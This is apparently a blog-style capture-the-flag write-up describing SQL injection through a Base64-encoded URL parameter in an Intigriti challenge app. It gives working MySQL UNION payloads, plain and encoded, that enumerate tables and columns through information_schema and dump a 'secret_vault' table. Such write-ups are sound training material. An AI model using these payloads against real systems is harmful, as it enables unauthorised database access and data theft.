SQL Injection via Base64
Welcome Back, hackers 😉
Today I just want explain how I exploited my third challenge on intigriti.
Footprinting & Enumeration
the application was a simple app that displays a collection of animals as interactive tiles. User can browse through various animals using a weird “?pic=” parameter, which encoded the animal names in Base64.
Get msfire’s stories in your inbox
Join Medium for free to get updates from this writer.
so I tried to exploit the “?pic=” parameter with a simple boolean SQL query encoded into Base64 to retrieve all details of animals:
fox' OR '1'='1 → Zm94JyBPUiAnMSc9JzE=
Exploitation
After confirming the vulnerability I started to exploit the target and try to enumerate the number of column to perform the “UNION Attack”:
x' UNION SELECT 'success'-- -
eCcgVU5JT04gU0VMRUNUICdzdWNjZXNzJy0tIC0=After confirming the column (1) I try to use the MySQL ‘information_schema’ to retrieve the name of all tables within the current database:
x' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
eCcgVU5JT04gU0VMRUNUIEdST1VQX0NPTkNBVCh0YWJsZV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCktLSAtOnce found the table “secret_vault” from database, I going to extracting the columns from the table:
x' UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='secret_vault'-- -
eCcgVU5JT04gU0VMRUNUIEdST1VQX0NPTkNBVChjb2x1bW5fbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lPSdzZWNyZXRfdmF1bHQnLS0gLQ==Post-Exploitation
Having extracted the columns (id, note), I assumed the flag was located in the note column and dumped it:
x' UNION SELECT GROUP_CONCAT(note) FROM secret_vault-- -
eCcgVU5JT04gU0VMRUNUIEdST1VQX0NPTkNBVChub3RlKSBGUk9NIHNlY3JldF92YXVsdC0tIC0=
Impact
I have completely compromised the confidentiality of the database.
An unauthenticated attacker can execute arbitrary database queries to dump all tables and steal sensitive data.
